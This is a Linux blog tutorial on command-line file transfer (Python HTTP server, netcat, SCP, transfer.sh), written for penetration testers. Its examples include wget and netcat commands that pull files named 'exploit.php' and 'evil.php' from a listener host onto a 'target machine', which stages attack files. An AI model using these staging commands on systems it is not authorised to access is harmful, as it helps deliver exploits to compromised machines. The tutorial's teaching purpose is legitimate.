How to transfer files using command-line from Terminal

A pen tester should be well equipped with different tricks to transfer files from a remote server as well from one directory to another. In this tutorial, we shall discuss different ways to transfer files using the command-line.

Transferring exploits, python scripts, and loading modules are often needed during penetration testing activities. Since the terminal is the tool used mostly, its essential to understand the basics of the file transfer.

A pen tester should be well equipped with different tricks to transfer files from a remote server as well from one directory to another. In this tutorial, we shall discuss different ways to transfer files using the command-line.

1. Python Server

Python is the basic package that comes preinstalled in almost all the Debian based systems. To transfer a file from one machine to another, do the following;

Python2:

Switch to the directory where your file that you want to transfer exists. Start a simple python server. Enter the following command;

$ python -m SimpleHTTPServer 8080

Now go to the machine where you want to transfer the file. Use the following command to download the file;

$ wget http://192.168.43.177:8080/file

Remember to replace the IP, Port number & name of the file.

Python3:

Anything written in python2 will almost always break in python3. So we also look at how to transfer a file using python3.

In the case of python3, enter the following command to start a simple python server.

$ python3 -m http.server 8080

To download the file on the target, enter the following command;

$ wget http://192.168.43.177:8080/exploit.php

Python3 File Transfer
Python3 File Transfer

2. Netcat

Netcat is a powerful utility to transfer files from any remote machine to a local machine. It may not always be installed. You can check whether it exists or not by entering;

$ which netcat
Alternatively, by entering;
$ which nc

Make a netcat server with the following command;

$ nc -nlvp 8080 < evil.php

Now go to the target machine and enter the following to download the file;

$ nc -nv 192.168.43.177 8080 > evil.php

Netcat file transfer
Netcat file transfer

Replace nc with netcat in the above commands if nc doesn’t work or is not installed correctly.

3. SCP

Secure Copy Protocol is a powerful tool for transferring files. It comes in handy especially when you want to transfer directories. Its also mostly used for file transfers over ssh.

For transfer file via ssh, enter the following command on sending machine;

$ scp -i new.pem test.py ubuntu@18.220.68.229:/home/ubuntu
Where -i represents the public key for ssh login, test.py is the file to be transferred and /home/ubuntu is the target directory where we want to save the file.

SCP Remote File Transfer
SCP Remote File Transfer

To download a file from the remote machine, enter the following command;

$ scp root@192.168.43.177:/remote_directory/file /local/directory

SCP Local File Download
SCP Local File Download

4. Transfer.sh

You can use this third-party tool to transfer files. It can be useful when you don’t have a machine with public IP, and you still have to transfer the files. The following command uploads the file to the transfer.sh servers;

$ curl --upload-file ./file.txt https://transfer.sh/file.txt

To download the file, enter the following command;

$ curl https://transfer.sh//file.txt -o file.txt

Transfer.sh is still under development and may not work always.

Conclusion

Command-line tools give us the ability to transfer files in various ways. They may seem a bit complicated but getting hands-on them gives the capability to easily manage files, especially when a GUI option is not available.

Zohaib Yousaf
My name is Zohaib Yousaf. I'm an Ethical Hacker & a Pen Tester. Python scripting and Bash automation is my hobby. My research work is in Anonymity. I have co-worked in development of few anonymity solutions which implemented different Cryptographic Algorithms.

LEAVE A REPLY

Please enter your comment!
Please enter your name here

STAY CONNECTED

23,318FansLike
386FollowersFollow
16SubscribersSubscribe

LATEST ARTICLES

MUST READ

Buyers who wish to go for a machine that is based on Linux often show interest in Chromebooks due to the form factor and extended battery life capabilities. Although ChromeOS power these machines, users can still miss out on a more genuine Linux experience. For those who happen to agree, the new Lemur Pro by System76 might get some heads turning.
Linux is growing faster than ever. As per the latest report, there is a drop in the Windows 10 market share for the first time, and Linux's market share has improved to 2.87% this month. Most of the features in the list were rolled out in the Pop OS 20.04. Let's a detailed look into the new features, how to upgrade, and a ride through video.

How to make Ubuntu look like Windows XP

If you are in a nostalgic mood and would like to make your Ubuntu look like Windows XP, you just landed in the right place. In this article, we will show you how you can make Ubuntu look like Windows XP by applying the GTK+ theme. Our Ubuntu distribution of choice is Ubuntu 20.04 LTS.

10 Best PDF Editors for Linux

In this article, we will take a look at 10 of the best PDF editors and tools out there in 2019 that are available for Linux platforms. The editors are going to be judged on the basis of their functionalities, portability, ease of installation, price, and convenience.

The 6 Best Download Managers for Fedora

It is a well-known fact that using download managers can help improve download speeds as compared to web browsers. Apart from the inbuilt download manager wget on Fedora, just as on any distribution that is based on GNU/Linux package, there are more options to explore.

Top 5 reasons to switch from Windows to Linux right now

Do you love Windows or Linux? Being on a Linux website, it's not hard to take a guess, but what are the strong reasons to switch to Linux? Linux is a 100% free OS. Is that reason alone enough? Let's find out! Never have there been more compelling reasons to make the switch. Here are just five great reasons for users to create that magical move from the wayward world of Windows to the lauded land of Linux.